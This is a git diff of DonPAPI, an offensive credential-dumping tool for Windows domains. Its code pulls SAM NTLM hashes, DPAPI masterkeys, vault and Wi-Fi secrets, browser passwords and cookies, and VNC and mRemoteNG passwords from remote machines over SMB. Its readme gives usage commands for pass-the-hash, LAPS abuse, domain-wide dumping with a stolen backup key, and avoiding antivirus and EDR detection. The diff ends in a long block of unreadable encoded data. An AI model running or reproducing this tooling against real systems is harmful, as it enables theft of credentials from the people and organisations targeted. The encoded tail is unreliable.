self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')] + else: + if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]: + self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8')) + ''' + ############PROCESSING DATA + self.db.add_credz(credz_type='SAM', + credz_username=username.decode('utf-8'), + credz_password=ntlm.decode('utf-8'), + credz_target='', + credz_path=tmp_filedest, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username='MACHINE$') + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}") + #logging.getLogger().setLevel(logging.DEBUG) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Except remoteOps SAM") + self.logging.debug(ex) + self.__remoteOps.finish() + return 1 + + def GetRecentFiles(self): + myRecentFiles = recent_files(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users) + myRecentFiles.run() + + def GetMRemoteNG(self): + from software.manager.mRemoteNG import mRemoteNG + myMRemoteNG = mRemoteNG(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users) + myMRemoteNG.run() + + def GetNew_Module(self): + myNewModule = new_module(self.smb,self.myregops,self.myfileops,self.logging,self.options,self.db,self.users) + myNewModule.run() + + def do_test(self): + + try: + if self.admin_privs and True: + #self.do_info() + self.do_who() + self.get_users() + # + + if self.options.no_remoteops == False: + try: + self.test_remoteOps() + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ") + self.logging.debug(f"exception was : {ex}") + #self. + if self.options.no_dpapi == False: + self.get_masterkeys() + self.Get_DPAPI_Protected_Files() + self.GetWifi() + self.GetVaults() + if self.options.no_browser == False: + self.GetChormeSecrets() + self.GetMozillaSecrets_wrapper() + if self.options.no_vnc == False and self.options.no_sysadmins == False: + self.GetVNC() + if self.options.no_sysadmins == False : + self.GetMRemoteNG() + if self.options.no_recent == False: + self.GetRecentFiles() + """ + ***Dev your new module code and start it from here + + if self.options.no_new_module == False: + self.GetNew_Module() + """ + + #self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}") + #for user in self.users: + #user.resume_user_info() + #user.resume_secrets() + #else: + #NOT ADMIN + self.quit() + + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Not connected") + self.logging.debug(f"exception was : {ex}") + + def get_secrets(self): + all_secrets={} + for user in self.users: + all_secrets[user]=user.get_secrets() + + + +# DPAPI unprotect +# DPAPI decryptMasterkey +# DPAPI GetDomainBackupMasterKey +# dpapi.py backupkeys -t TOUF/Administrateur:xxxxx@10.0.0.10 --export +#to get Dropbox decrypted databases? +# to get iCloud authentication tokens? +# to decrypt EFS files + +#ADConnect 'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf' +#Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf +#optimisation : +#le user est il du domain ou local ? +#dans quel cas peut on dechifffrer avec les hashs ? // si compte admin on se sert des hash locaux/sam ? + +#DEV : [get_file] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.) diff --git a/myusers.py b/myusers.py new file mode 100644 index 0000000..6569ef4 --- /dev/null +++ b/myusers.py @@ -0,0 +1,128 @@ + +#!/usr/bin/env python +# coding:utf-8 +''' +PA Vandewoestyne +''' +from __future__ import division +from __future__ import print_function +import errno, binascii, shutil +import sys, json, operator +from datetime import datetime +from binascii import hexlify, unhexlify +import logging +import sys +from lib.toolbox import bcolors + +class MyUser: + def __init__(self, username,logger,options): + self.username = username + self.options=options + self.logging = logger + self.sid = ''#un user peut avoir plusieurs SID ? + self.type = 'LOCAL'#LOCAL,DOMAIN,MACHINE,MACHINE-USER + self.type_validated = False + self.appdata = '' + self.password = '' + self.domain = '' + self.lmhash = '' + self.nthash = '' + self.aesKey = '' + self.TGT = '' + #self.masterkeys = {} # GUID_File: masterkey + self.masterkeys_file = {} + self.files = {} + self.secrets = {} + self.dpapi_machinekey: [] + self.dpapi_userkey: [] + self.share = None + self.pwd = None + self.is_adconnect = False + + def resume_user_info(self): + try: + encrypted=0 + decrypted=0 + decryption_failed=0 + + for masterkey in self.masterkeys_file: + if self.masterkeys_file[masterkey]['status']=='decrypted': + decrypted+=1 + elif self.masterkeys_file[masterkey]['status']=='encrypted': + encrypted+=1 + elif self.masterkeys_file[masterkey]['status'] == 'decryption_failed': + decryption_failed+=1 + file_stats={} + for file in self.files: + if self.files[file]['type'] not in file_stats: + file_stats[self.files[file]['type']]={} + if self.files[file]['status'] not in file_stats[self.files[file]['type']]: + file_stats[self.files[file]['type']][self.files[file]['status']]=[file] + else: + file_stats[self.files[file]['type']][self.files[file]['status']].append(file) + + + + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}{self.username}{bcolors.ENDC} - ({self.sid}) - [{self.type} account]") + self.logging.info(f"[{self.options.target_ip}] [{len(self.masterkeys_file)} Masterkeys ({bcolors.OKGREEN}{decrypted} decrypted{bcolors.ENDC}/{bcolors.WARNING}{decryption_failed} failed{bcolors.ENDC}/{bcolors.OKBLUE}{encrypted} not used{bcolors.ENDC})]") + self.logging.info(f"[{self.options.target_ip}] [{len(self.files)} secrets files : ]") + for secret_type in file_stats: + for status in file_stats[secret_type]: + self.logging.info(f"[{self.options.target_ip}] - {bcolors.OKGREEN}{len(file_stats[secret_type][status])}{bcolors.ENDC} {status} {secret_type}") + if status == 'decrypted': + for secret_file in file_stats[secret_type][status]: + try: + if secret_type == 'vault' : + for vcrd_file in self.files[secret_file]['vcrd']: + if self.files[secret_file]['vcrd'][vcrd_file]['status']=='decrypted': + self.logging.info(f"[{self.options.target_ip}] Vault {secret_file} - {vcrd_file} : {self.files[secret_file]['vcrd'][vcrd_file]['secret']}") + #self.logging.info(f"[{self.options.target_ip}] Vault {secret_file} : {self.secrets[vcrd_file]}") + elif secret_type in ["ChromeLoginData","MozillaLoginData"]: + for uri in self.files[secret_file]['secret']: + self.logging.info(f"[{self.options.target_ip}] Chrome {uri} - {self.files[secret_file]['secret'][uri]['username']} : {self.files[secret_file]['secret'][uri]['password']}") + elif secret_type == "ChromeCookies" : + for uri in self.files[secret_file]['secret']: + for cookie_name in self.files[secret_file]['secret'][uri]: + self.logging.debug(f"[{self.options.target_ip}] Chrome {uri} - {cookie_name} : {self.files[secret_file]['secret'][uri][cookie_name]}") + elif secret_type == "wifi": + if secret_file in self.files: + self.logging.info(f"[{self.options.target_ip}] Wifi : {self.files[secret_file]['wifi_name']} : {self.files[secret_file]['secret']}") + + else: + if secret_file in self.files: #For Credential & Wifi + self.logging.info(f"[{self.options.target_ip}] {secret_file} : {self.files[secret_file]['secret']}") + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 00 in ResumeUserInfo for user {self.username} secret file {secret_file} type {secret_type} {bcolors.ENDC}") + self.logging.debug(ex) + else: + for secret_file in file_stats[secret_type][status]: + self.logging.debug(f"[{self.options.target_ip}] {secret_file} : {self.files[secret_file]['path']}") + + self.logging.debug(f"[{self.options.target_ip}] -=-=-=-= Masterkeys details =-=-=-=-") + for masterkey in self.masterkeys_file: + self.logging.debug(f" [*]GUID : {masterkey}") + self.logging.debug(f" [*]Status : {self.masterkeys_file[masterkey]['status']}") + self.logging.debug(f" [*]path : {self.masterkeys_file[masterkey]['path']}") + if self.masterkeys_file[masterkey]['status']=='decrypted': + self.logging.debug(f" [*]key : {self.masterkeys_file[masterkey]['key']}") + self.logging.debug(f" [*] -=- -=- -=- -=- -=- -=- [*]") + self.resume_secrets() + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ResumeUserInfo for user {self.username} {bcolors.ENDC}") + self.logging.debug(ex) + + def resume_secrets(self): + self.logging.info(f"[{self.options.target_ip}] [*]User : {self.username} - {len(self.secrets)} secrets :") + for secret in self.secrets: + self.logging.info(f"[{self.options.target_ip}] [*]secret : {secret}") + self.logging.info(f"[{self.options.target_ip}] {self.secrets[secret]}") + + def get_secrets(self): + return self.secrets + + def check_usertype(self): + #Todo + if self.sid =='': + return 'DOMAIN' + else : + return 'LOCAL' \ No newline at end of file diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..ab2b770 --- /dev/null +++ b/readme.md @@ -0,0 +1,90 @@ +# DonPAPI +Dumping revelant information on compromised targets without AV detection + +## DPAPI dumping +Lots of credentials are protected by DPAPI (link ) +We aim at locating those "secured" credentials, and retreive them using : +- user password +- domaine DPAPI BackupKey +- Local machine DPAPI Key (that protect TaskScheduled Blob) + +#Curently gathered info: +- Windows credentials (Taskscheduled credentials & a lot more) +- Windows Vaults +- Windows RDP credentials +- AdConnect (still require a manual operation) +- Wifi key +- Intenet explorer Creentials +- Chrome cookies & credentials +- Firefox cookies & credentials +- VNC passwords +- mRemoteNG password (with default config) + +#Check for a bit of compliance +- smb signing enabled +- OS/Domain/Hostname/Ip of the audited scope + +# Operational use +with local admin account on a machine, we can : +- gather Machine protected DPAPI secrets, like ScheduledTask, that will contains cleartext login/password of the account that should run the task (Also Wifi passwords) +- extract Masterkey's hash value for every users profiles (masterkeys beeing protected by the user's password, let's try to crack them with Hashcat) +- Identify who is connected from where, in order to identify Admin's personal machines. +- extract other non-dpapi protected secrets (VNC/Firefox/mRemoteNG) + +With a user password, or the domain PVK we can unprotect it's DPAPI Secrets. +you can pass a full list of credentials that will be tested on the machine. +- gather protected secrets from IE, Chrome, Firefox and start reaching the Azure tenant. + +# Exemples +dump all secrets of our target machine with an admin account : + +```python DonPAPI.py Domain/user:passw0rd@target``` + +connect with PTH + +```python DonPAPI.py -Hashes XXXXXXXXXX Domain/user@target``` + +can do kerberos (-k), and local auth (-local_auth) + +connect with an account that have LAPS rights: + +```python DonPAPI.py -laps Domain/user:passw0rd@target``` + +you have a few users passwords ? just give them to DonPAPI and it will try to use them to decipher masterkeys of these users. (the file have to contain user:pass, one per line) + +```python DonPAPI.py -credz credz_file Domain/user:passw0rd@target``` + +you got domain admin access and dumped the domain backup key ? (impacket dpapi.py backupkey --export). them dump all secrets of all users of the domain ! + +`python DonPAPI.py -pvk domain_backupkey.pvk -credz file_with_Login:pass Domain/user:passw0rd@domain_network_list` + +target can be an IP, IP range, CIDR, file containing list of the above targets (one per line) + + +# Opsec consideration +The RemoteOps part can be spoted by some EDR. +has it's only real use is to get DPAPI Machine key, it could be deactivated (--no_remoteops). but no more taskscheduled credentials in that case. + +# INSTALL +``` +git clone https://github.com/login-securite/DonPAPI.git +pip install -r requirements.txt +python3 DonPAPI.py +``` + +# Credits +All the credits goes to these great guys for doing the hard research & coding : +- Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented - <3 your code) +- Alberto Solino (@agsolino) for the tremendous work of Impacket (https://github.com/SecureAuthCorp/impacket). Almost everything we do here comes from impacket. +- Alesandro Z (@) & everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur. +- dirkjanm @dirkjanm for the base code of adconnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. i learned so much on so many subjects thanks to you. <3 +- @Byt3bl3d33r for CME (lots of inspiration and code comes from CME : https://github.com/byt3bl33d3r/CrackMapExec ) +- All the Team of @LoginSecurite for their help in debugging my shity code (special thanks to @layno & @HackAndDo for that) + +# TODO +- finish ADSync/ADConnect password extraction +- CREDHISTORY full extraction +- extract windows Certificates +- further analyse ADAL/msteams +- implement Chrome !#Ou_aEO6 zK@hKj{uK)d+WQQG*f;iaf-A>AIqiaf{_(tIatVSe6T-I4(ct%!?)nxc5ERP~K`+72 zHhAdKMFmRu8cJ9U7x3{hi8HOQ|i&W}*XUpV>=c4~QIW)Ic9uhYblULwKWj~oN^@A(q z!hp@wYkig55NB`{TM=~b=AU=1mli%;6jx9?7Si}-A2V)(hfSZ^>M`@jtT=kttiSX| zD+GOU{xs!ds&4d&aoUu4q~OK8^68?_;xB}*K2KLLy#5K{mS9gQ%ncVHn}40VC2Ifa zSC%E2;G?+yEI2eK>5SW_Yo9oT988Oz`Ni2P8@&2@bjkjKk5X(pAM`@Jj{8Ds@WISy zuRihfJv_LCfbJJGC|sE07Pw#a&o5nELBZ{1+=C_dMtP$|-@Es^^Fk3y=nL$RUhAM! zzEG-unNz1AalLSF{89(<&M)NiV|y*`y^L2@R*r8F zPEBse!_y+wnY`gkT4$C5@oBLO#OEIS(f>SrFm4MofL+$s(n=xx>f_zj{Iq-FZ~3zA z@h{J*f8mNYyXJ(h>oh-eY3!NwK)gRAer%Y={ zy*a>k2zh;Mb#iMenxErW=CLC6$_wkc9NSyi`_DI$d*Zi*rw<7ld+uWh#d-ho-q#le ziL)L3vgc?X+rvkv&h4>o6S%;xR>8jU$mIav5WB!LE^ zdc1M!puX(KYpN%o>ccH!Yfd`qDW3YpTvS=c|9dsv9d#K}ARXMU|t3+P}J0+9FHYhWKc)9&Q}N>~j%wigWO}lYzop0@psh z`}OtyLc?BR{7J2z208EMBX?Qrq#+Fxko1o1pzspBV9l61OxzL6yU{mNzQf+RzPsu5qUK#q?!&5wl@HM?R(}kHN?+E!%;d3` zbe^jCs+X>~|MIuIhU>N%IZOyqf_UMm?%?YX^TTiTzWcr1{w{P=i0o1Iy6R??Rh8$h zYj^gVWKQWBy-Dda?Tfjym?o|8!0zMCDtCh})CUQF#0x|MLKt@$XN}W9EK>i_ed*8X zO;inv7%cC|%2Di4ViZ@@%8wI_Q`X)1@wIXz0;=I}U*LG!g z_>tzugpg+;IUyyRXLuiT>YlOAH_o?rziMeUV54kPeRH{0z$xza(ehfe5*u$*`)eA; zp_zfPYXu2e32CMYrqw;Vj#b!b-wfaEg?m~rMRgU-7o#Rj!fhun>p0;JcVpOmT)f)O zUvN2BairyY2+YrGyx&z9^&0IO<68am?ZNIZozlH;+h?9u7Cm^fS-Z|e{TQip52Kwt0}IZ_U(05@K8v# z$tQi?UviXYvl5JMj&7D|$=#UQ`WxOD<~n(_H8e~N``wOUPyWfpY-X-)XwgYaX3M+U z(BU6q*N^^H=~FqUR-yLn(2=9xkE}=z!yCjmEjp9T3ujflud~T&I zyzbLZ`U|eaq#s)-hzbC6? z*0gvjhxtY5s$*IuTP!ag-8Np`7x2{nX}-{!kd=_1vaYh(Z3EAxs?Dm^>Y!U@l!ocB z7QWhqTC9eRT#*05Oi1x+?TI{I#S@KccYVH2UT7t_4}9x>()~O$@{2M-raQDn!pF#_ z6|qyqtSl3?&*T>0zroQy>Qg`HbM4-=@8YCutNU((+0(g?-g=UHR6Vg5H#;}uK%oA6SYS94_G&fxHH!S@^eJZjvT#R+<%O^kS& zTDDw_Ty0s+(3{^s8vbrn`{mvwYjzQgpGvcp1(bh zEM-gsg2;ij;eIRI$pd$bOM1TKz~Dv~G9v?jI`rVk%kQR(6+Sr%(h_DP?mrmp7}a9a z+D>a$aKz0;Fx<*57jZIyHm1(CxRBZ7zwJ5$x@hy^0^#>`Y?*ySe&orB_Svh`CbUe) zJzZQqeCj+-4b%`C{a*PfX|c3f`P>nuhd~z*!4&ze1xiansKTP>SZ-v+pHrKzKhM0o zMoml+C2hZ5cc(q0en~eceQTAvWG4Eu@^j8EW@jLFiCIi3rXGHOI39f)U0gg??5l0R z?ZZUQE;If-&Ml0@M!eqo)#NN3`6u({dF36{F5)NYmkqrDsy**?@oc(^|F^7B1;!|R?0q;yVEP5qpzx}x$)MOF24%Ib<2XbJ}{ zA?Txp!Ieulf}Q5Zxi(a+!qu2#3XT_j@@y-D%;)5W?x@^VdF(-|J@$S0oAg~b-b$M} z!%~|3>9>{Mb0SB-J!^4`e|FS7i5}6LbBg~oRerb1e`*kdn%n2_xw8y z1od6uJ^kOWQ2fA2_W!;7zcTrM9S{w?#W^8&)&9eN-9do;8gCF&W=qp1!n4ao|L6i* z@44}R(R=*L{~)&K(&ULN&2FsX1M8Fb;Q#*Vc=3PO^nWk^uT1_0$N$%WIAN-_`rUUg z)MtiXdaKfslUin`CU5!&VL^DPs^AVq;j5C@j}(s^$u202*@G3g-4~8XY03F7V*@2d z1)LX34Adu|C(rYcCE!7b9BeA4mL3_gB|klD(b`6~rA|#hp_qAo5kpT(;^B@Fq(OI- zvp9YZ@fA$5JIxj)ksSKso~3*eX6qSuK<$`2CiMBhq*<1#{Q3cVgqb;J>xGV#lw|R^ zWtOV8JiOIND2;gvwtfO{8j+F}*lYf|c-$Scy9E{(B~bv(>xZoI=X|-n$ zGju;@v!!6n53^Z@8uP|nwFVQoJoN(pk~4p+f9gHKi7?oRQSc*L&-*mf3r)NP;7W{K zicF!Y=W^A&Cd6}jLB{aRpYte$vw4-LMIa|*_fVZN`O&R!vM7w?AfkLJ1q@qsh&8M- zYuF4Gp~N}^81G4v5q6x4AXx8{DQ`}g(jZKudnIyBS~at~ceD0GEvZ{CxC=0$FKB_V z_*2tnw)TYvwJLF8aQJD)Ws5*H84VN|5}LjU0=~W{gy4s*7`%yZmV*v1q)PYWCd1vL zwV81v&1^(TG)ntRc!!6DZ^oE77%I(FRa`drH)vqky$h0k1%_z>Df5g-Jh zTF1XGrx64HQjg)q^tCZzXVMR!;<9#yV2D z!)*_S`yE)4afR;K`VRMIj%mTfR53+;X5waszDalZ{@@V`L1mPE23`jk9y?|HCJUJk z=lmgCMaF1VC_RtTlAbD3I+3lZ^i8W!HkpQ$Oy2)1z2TYf|N{Jb|0$`dJsuRIOd3kHt$hh~xq!8N){hD43sNK~^l&i4)M ziAklWMeD|vYeFHv#JWjO%Z38Pa}~QiDqe3!^uA0C?|5WDhJ6a>kfDAgw4)Oxbb2b+ z9#f7}bs(r^{Rh(#Z==QugUmLtQ{j~wZP$*BaC6HbPiu4 z@Dd}TJV)G+^I2H=9>xQD0?=jPzS5#`^fgK6uS+&gdexC`YRb?|ecJRQZpsXrIS4dc zQ9zGs@vriuGmI1UMKQzFM}t-Fh)Ieie2SQ+x+O8~%sd8#D3Dgl(2<4{nSbih+vss( zWOTs&!U7f8_Q_646S@U`Phgh=nn8=8beDt1rn#WL!+-}}2$a{G2m|u37N6A}BE`-_ zWav7he+o%RM98K(>S0@LIr4%KygJSn8JAkqn&of-zpA0s4r>Fl&|+Uf^X5Vn1@*5S z9z4I5f&aOn$d<>&{Jk=%Gk$(EAiw+R<{^@5i{$7&jPjcv4!=fUC&Y9_vO%fiWvJr8Q&7cM0KYc% zjF;C&rM7NwtQM%mVw_huPiA>M{7v~m(SY9;OP{N;<#2gN*$iu^;FV<81$MJAHqS2Q zVjT5+bDMP-Aqms5QpbzgTo_uXBC8ks06Rz&0+C;#_6kg<fUL>QC-C3zbNcMh1@SCK&S>tevHu17`8Nm9R?@zMz8p>;~MVq>U+YdXLj<9>_=^ zptSUjCXcfctUQSkXwiCQvb9taMJQmY5WH&&8Oqq zJ}{cXzNvFSsgF1hg6IG_Jg$heh?z85GYXWZwY@Qzy+o)-BnT(XRoQa<@S%nv|4_<= zBGi|wW$p0;M>&4dN)a}h+0k7^;^W5mqX>}1(X-l-HuT$mpJKgln!Z5QMg zavBysj5He2YqMe#4T#};p$b*`sYAGj#Y>7bW;+& zm#cZcT|r9CS(e?K8bdhd&!??Ju9Rn6vB%{|#3|&XX|e*3Jg#TdX{RhNdps|agKSSE z_D+sR&H`BuEXL(zh|) zP}KP!x@RFyIsQCqT8l#O-*AE`nC_ zqx+LhC;$|YEk}^4s3VZ@T_E8$7n9HVCyFr6YueIFMjSJV;CUMaUs`q~lzJ6wL_L<2 zYqDlmch>vjVs>5Tm-*Qv;Q8J!lOvfy?vTq-5Z=1nr?=ruEF#ETm7f$sU+2oFHY-fi zxl!|A6`NlI?hcyw|d!YlXI+*+q(!+V|6=WNqJeX}M&scVuPHv~3k2jF*38rj$E zLo7aopL@C^qp_>0#Bk`DmyxrEhHSAq)WO4kMow9C*N38R&u50grnduVU@4c1TPC^_ zFaCEW=jc($Ma&tLw}L>FwSycZtY?Xf1Zx}l5-`mPb2eP4u!UmsRI(zKrg!lY$9vdZ zJRGH9@g%72?6;Hb7ndb}f9oM+Du>;x8gM&!ryGY#qdMq_lMCh9N)sGBi83CdxvogZ zah9<4iK-iBM%r24myq)!Pz7SGdy=#j2qePFBl5hEd1K1dWkPTzRI^}eKsLEmuFhe5 z6W5w0MV%)^ic^i;TpE0VpX*^-0)vsE6f(9#%0Td4dJ;Ge6&Zfix*@{{!RTO@yCA_Z zq5r1X6Os)WYV!CWJNN02C|ZQ3M!TuqY|QQ&fx=B7p~S@T`lkAK%*dPD$~aEV3R5=g zt5_Ku6Igt4y|ZkeCsj0Wj2jdB7~yw);h=VMR-n#OYr&Wi2D9{M5vHAk*-9)Ip9FSH zP(bTQ@bog!_0-M#E>(^IxOIJN1pDRsT4pu}WZf475(Yc%Pcy&8$gG65oEv1UNwJ;u z1C0Jpftc;Tu@ou7H^+z!VKheJo*{9AWZ=ca(B0X|&1iIM{9VXA&TJ-N3BHcRjgJI9 zG<`D)%-xoCZzo0&Jv&cA4+`i()l>R-i0E?K2kIZDA zjXaiM=J)_^T4z9p!`68usG`5wi;ZyjhU*p!iiUw^fyQ^*kD;3=8=FqqAJ0+kHr`^U zNjDYlr7SlvFR)oV_M|lx2s?OYJ?EF)P4cHx)H#OivG#uYxNF&~pAREMkXO}W1^k~PQcK=h15J4?vkAIlvt`mXk}Z~hC98xfO&cS1W0S?9~eRO_2w|I0d9C}PZ}a! znL;ESJ>)DXUrzVl4M&u2zcpo3b;53YOn2`=bxNEd9;abd&=Ke1XJHz_7)*9YLQidL zkn;>xP$phHO<#U+FfQnKmqePW;lRFa^Ngg0H20-G^`}1x0f1F~3bGWAU+Ez$`nqUd_Ms4^Twrz=@*f^DsQ|Rybx{E8-Q#1|Nnip>k&}PA>*lK_r(@%q$bE!2Q3&Ys5a2T;5lJDvyO&atMbuj2Mt4$!x0l^GIK@fwyr(OY z5v_L)z&)vpv)KrzRIw*)|BuD)qE8HjTk;v#Im%X8N2CeoVAlUeV#OnKyVmBfBy?4! zFjrADP};aReN&9eoe?`N7_OJio>lA6-o?kan}W%HV|#*{g2*+{P6<6?ldkJg!c)BbcBw z#XU$Tc+Yq*b`bLY=Te=E_ApZ%%FA=<3Aacc>?PEOf-##gamIbbEo^sd(x@@qH^>kc ze>##?+CT_5_1Z=j!V6TMV{RW5eBzL(@~rJDk@4ozt>58VINzS$NfN9=6fxd^^5YM$ z12=Vmo9C2Q%ct&HyoneEqrX;(4AW*@q<^4PGqz|(t4C4p4L&EFTib9}2;j3bZtH%W z4Rux`E-^>dIo=}fwOSf7+Pq^s*k#I^m8P@^q3FbE^)R=ax2RNG`S|al5^6?z137KEaK2s#T>q*(D+Par_N1Qp7FXP? z3|n;d^hj}DPK`;T@3t-yCr1(GZO6Yn2>*#0l?u}L%?bACpH)ALGf7y=ryUV&bchwp zv=F85;=!U`hXp%lm`tV$r+P2c6Hj|9bgp}8q^A^p@6QUE|0LrzG(1sgW?#-k zv;ZZYfKA77CY!7eXXW?)`P_EAE5ImvZ*=jcTibUIunE2$dy?vWIn_C5q1Dz!0%Oz3 zw6TbIzQiVGSB@8+ZYmg)hlvTKC_Jb$vPJ5c_-4BAd{O6!ktU7xAE3XXypH3r{&>&; zd0R)EWE&rBB;6U#keyjXBk&J0DVqCA%2kZ#vzLE$2JD|Ftm^%bNvb-M$!pedvo4wa zkItw53#jr%-qR6BIWCq{I9CKpC6SI6tqr(abie0vn>MDnqGk=!t0ofc z+!6RCpbR zeo$02GeeqIxmLCnZTMIO>NN~MRE>N{U+p;Ck`~!z*#s(q8aiERYK6~dL#g;mGO=YT z&c7RJn9W{BL^?SYn`h`^Yi(WJQ?kEIWHNOT3?^@gFT#hxUjy51ExcKvvO6X-KqodK zoEhH=gt<#!c1lvM9z$(Kp%)kC7bihN8=nX0yU;4aAPwWp&h&P4J(K+k<0ygE$nGxB zH9o9itRlPHiU(@{NkwT$<;v20>ZGPeERXAr$>>HSe4WLq?gXo2+&(W6e&&IQrn@^6 zW0FW`xB8?<1Uy3w)G3kG#$BejdrgS)0Y2$Ll2j%;q}uxk*Gbyog-#G+Cm`8E&Eb0~ z^jv~2YnVw1YV@WNfJUfztb(=BOJ-(nR`YqBd67rSV7+8(+o&ehO1ZpWoc$gF9{wDY zC`IkM*FzRV(O)zo{2t^|O5&_I6*@oGqdH__P*qzU2R*V)0&gMenRqGzREvCK=Fz(T z<&lp7OnVaeo7rsDk$I!))OZ6jF~ffiPuL-df(1~dz%X*1AEwbDCQU(+K(%+$Cu2*Z zoOXODDyItm*o!`no{YJK+;j;^juz^gq1ldhrYq)gCkS z==APJ;_ zXWZdfI1F(0(($M8cBLP0e_2}IrW_PX z^=PG)XVD~v=7f?8>+3f9U>h-i5Py4 zG2nJo^-@CSz;Qk7tL9Ucyv)zAcyGTiwZy>MzB6#oAT!4GU$sh}*f4X)K;NdzJF0VO zOt;GYGABC+%F)Fhwt)+bG>WH3HlD1ryGXBN1+JyM21qL(#@9X21y+s9Hfa19*3WpM z!S=^XBHt;GrgavaJf%7ntX;V&7dD*`%}l<-$c`Q1pxCyZL`C0xJvJyLLk~7?f0M| zt93ovCBmJ`wm&J(tEnQQ@;YUsExW#8>C&Bp<^&O?W+dX1TXMB!#$BfzZyScyp^5@T zLXHNtg^+TLJ8Oa;tuZ|kS^Y^y-c}htkzi(+uTTCq{hZ)O+>8pl0BdSsgG$QhPSWjq z7ofi+z+)A@jj=Upl2mS+o&I80~m zT~O2jaC~hc>L-!cMfw?Dh(wBCal~NP@h-(6LwX}md6K3Eyt354XbsRAmDJmIh=9E5 zWUprC+id$oWzhhO@@5X8`lZ=v@}0jb3Hi#h_`h<~^Y1)bF5!)L6nC3;8bJ~4{E8Uz z>P8dLCkr}5dZIm|DfA8XGp2?_1?lp0+1-@2owB0dQ0O!T@syB>*xnDYKGc)Tc2xW5syXY;(9hKo3`~jnM);y zCxY)RF;3C1TL*p#cFI1OYlPLx?iR~tw#t9l>{{9=qgV^2D%^``wWYjt%J3d>Y*MU9 zK*(!LP}u@hgA2c{SP@eEMRa^B*^T5oXNxVcnPVD^$*LiLs%CTK&idvRkYLenktltd z3O>%o&^aF#IxUfcTd|mE6mQ&9R}FcjEh74lPXxt{BlUVhZ`FJ#d8Z|ed?zRqe`BH8 zIoEsCWcG+HKb&hZ7o-a(nnC4yk~*^8Mo|mcw|S~_?j3=qEW0kEU}P#!(^_3*Oj1o) z)fs1!Az!I3B&Z6)q|$UyH;Tv9i;v0*#LVN-TE*22Bb4RrA=z@_V!VOqD_3ODV$iX; ztlLeLdE945oav)ljQ?UPj2cIIEyEjDu8&QntzHw5>9d5#L}qJ>x6>r9$qH;ye_RJtr^Me776eURs-nnduod5b8^}EZCKTH)DwBuP% z19Ro>S>}0=4ImN?&ib|6m(2Ue9oRg&I z#&Nu8L8(zkrnOI4oA*@CTTY~6M2Io7iG+5P##9Kit7E@PX;WgW9w3ydVRJ@X6%l7rj9ZkCx1x;;jpWXbB+lz zjA*f?@DY?}5775^XR3SgRre3^2rtn+$Kz;w)bE543$~r*n37>Y8OO&0+~Dhw5+{J`$Pu^dMHx`rIe-acoiTLenVg0sCTPrauq}%F41$`@-*4HfTFxcHvGFAb!~yPHI-| z6|^a}gakQRaBtAGbyW4p@oBLYOcj%0X-ENUDVQp}B_(0@<*yjpSxz9)=^Mj55W~VbRj64{o)pj zGv3fI)>;xrQOm%lsQHBRz@|KDM_7w&vc#r`MF4~yGc`ni0S8n*30b- zyEj@!0Zb%e!0_;6JXJUV7mG+j{H6rNJ^k5u$<5}}uo89A$4mW0Mmy@nbV$g?G5FJk2`2{uc*(-te>_Au zF=05fm_+@UumsKfN}}UUC-!8XobK7SFpQZ>CuIBcYPFg^icj{R+JdPW8oHD3N>5Yf zmv?jNcMZVF*=~+!qWwd6=nhD0A?qumdA>RH#Q;@7yupsEdM3Wn^iefxxnM4DiJwq@ zjJtiM-$5p}q5Y6gU6yiak+7|2^aBgTu7jFbZk9z_lu5EbXeMwKNtA-q zo!^3U#Z&eY)tb?B=EYE-B+$4|rRD`kX^#vH*Spu!c;n`u0La&~*{2IMoQX8+)@ob9 z9Dh)m&%n9=D;7hz=M;etknaU~oGvzvYY?TB3 z*a@$Z0_0XxwmdDMis92pm$N3P{>`3wIt~(6f!0a0M}}?Teyz!f7Rq6u4xAf^1OMr{ zM21rg11{{vgY=U|2?ZR!4_=&Lhzq2zb$p!Cklqc_0+MY@O3AJC%@C_Mn0Cje!ausG4YF74e zzGkZbQXL?NNld!)MPrs{%wYKxJ+Ke>IZ|I&01FYm4oXyNfa+fA;ITsZtwN_qY+28< z+>0d(aoh3)F@d-f)0u?q<=uN-qks0aNfIVI=yyN$hcQMwE@wJrd7^17IK%)rs2YhT z_2kk&-;$0r;xk;x;relyc4XKBo@;6#n*P%r-OV`fmphL!_Lm#4GktV=`U)~&oQC#S z5ExlcVV&KHT!}iLv^-x1a2HWydm+?=R6R=F&2%1wLH9G5;mkmy7Rpk9d!8(h^v*F4 z1o8HrXx6kOZ&ciO*JYwK^hlgUH8>Xz0Ccd+G9@(i z^~@#M?hViGP;1dZv1FcmL3?a1;hj#|i27T1npWo0yk||C6nX4=o_ZH)7WQPUcYrN1 ztAMLbU0(ErsToYv*=`t7C-5rIBHw^$sM>tt=cHwhwD`AjKe|as<26Lcgvbh4?`EY7@0Sn6fK?3FSh_~iDrAIYJkf6%z2hk)oAVoNm(Ps zA?|6NmKuLUhOSFIwK>#=D1z3J6NveFh_FmMz*)ka{c9L7TvIL?nd?1XPCH`jM>Q(D 